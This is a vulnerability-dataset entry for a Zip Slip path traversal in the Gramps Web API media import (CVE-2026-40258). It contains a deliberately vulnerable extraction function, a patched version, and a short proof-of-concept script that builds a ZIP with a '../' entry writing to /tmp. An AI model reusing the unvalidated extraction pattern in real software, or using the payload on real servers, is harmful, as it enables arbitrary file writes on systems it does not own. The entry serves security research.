CVE-2026-40258
Path traversal in Gramps Web API media import allows arbitrary file write.
- CVSS 9.1
- CWE-22
- Input Validation and Sanitization
- Remote
The Gramps Web API is a Python REST API for the genealogical research software Gramps. Versions 1.6.0 through 3.11.0 have a path traversal vulnerability (Zip Slip) in the media archive import feature. An authenticated user with owner-level privileges can craft a malicious ZIP file with directory-traversal filenames to write arbitrary files outside the intended temporary extraction directory on the server's local filesystem. Startig in version 3.11.1, ZIP entry names are now validated against the resolved real path of the temporary directory before extraction. Any entry whose resolved path falls outside the temporary directory raises an error and aborts the import.
- CWE
- CWE-22
- CVSS base score
- 9.1
- Published
- 2026-04-17
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Gramps Web A
- Fixed by upgrading
- Yes
Solution
Upgrade to Gramps Web API version 3.11.1 or later.
Vulnerable code sample
import os
import zipfile
import tempfile
def vulnerable_media_import(zip_file_path):
"""
A function that simulates the vulnerable archive import feature.
It extracts all files from a ZIP archive to a temporary directory
without validating the file paths, making it vulnerable to
path traversal (Zip Slip).
"""
# Create a temporary directory for extraction.
temp_dir = tempfile.mkdtemp()
# Open the user-provided ZIP file.
with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:
# Iterate over each file in the ZIP archive.
for member in zip_ref.infolist():
# This is the vulnerable step:
# The destination path is created by joining the temporary directory
# with the filename from the ZIP file. The filename is not
# sanitized or validated. A filename like '../../../../tmp/pwned.txt'
# will resolve to a path outside of the 'temp_dir'.
destination_path = os.path.join(temp_dir, member.filename)
# To ensure file creation works even if parent dirs don't exist
# in the malicious path.
parent_dir = os.path.dirname(destination_path)
if not os.path.exists(parent_dir):
os.makedirs(parent_dir)
# Extract the individual file by reading its data and writing
# to the constructed destination path.
with zip_ref.open(member) as source_file:
with open(destination_path, "wb") as target_file:
target_file.write(source_file.read())Patched code sample
import os
import zipfile
def secure_zip_extract(zip_file_path, extraction_dir):
"""
Safely extracts a ZIP file, preventing path traversal vulnerabilities.
"""
# Get the absolute, canonical path of the intended extraction directory
real_extraction_dir = os.path.realpath(extraction_dir)
with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:
for member in zip_ref.infolist():
# Skip directories, as they are implicitly created by file extraction
if member.is_dir():
continue
# Construct the potential full path for the file to be extracted
target_path = os.path.join(real_extraction_dir, member.filename)
# Resolve the real, absolute path of the target file.
# This will resolve any '..' path components.
real_target_path = os.path.realpath(target_path)
# SECURITY CHECK:
# Ensure the resolved real path of the file is still inside the
# intended extraction directory.
if not real_target_path.startswith(real_extraction_dir + os.sep):
raise PermissionError(
f"Path traversal attempt detected for file '{member.filename}'"
)
# If the check passes, extract the file.
zip_ref.extract(member, real_extraction_dir)Payload
import zipfile
# This script generates a malicious ZIP file named 'exploit.zip'.
# The ZIP file contains an entry that uses path traversal.
# When a vulnerable server extracts this archive, it will attempt to
# write a file outside the intended destination directory.
# The malicious path attempts to traverse up from the extraction directory
# and write a file named 'pwned.txt' into the /tmp/ directory.
# The number of '../' may need to be adjusted based on the server's
# temporary directory depth.
malicious_filename = '../../../../../../tmp/pwned.txt'
# The content to be written to the arbitrary file.
file_content = b'This server is vulnerable to Zip Slip (CVE-2026-40258).'
# Create the malicious ZIP archive.
with zipfile.ZipFile('exploit.zip', 'w') as zf:
# The writestr method adds a file to the archive.
# We provide the malicious path as the filename within the archive.
zf.writestr(malicious_filename, file_content)
Cite this entry
@misc{vaitp:cve202640258,
title = {{Path traversal in Gramps Web API media import allows arbitrary file write.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-40258},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40258/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
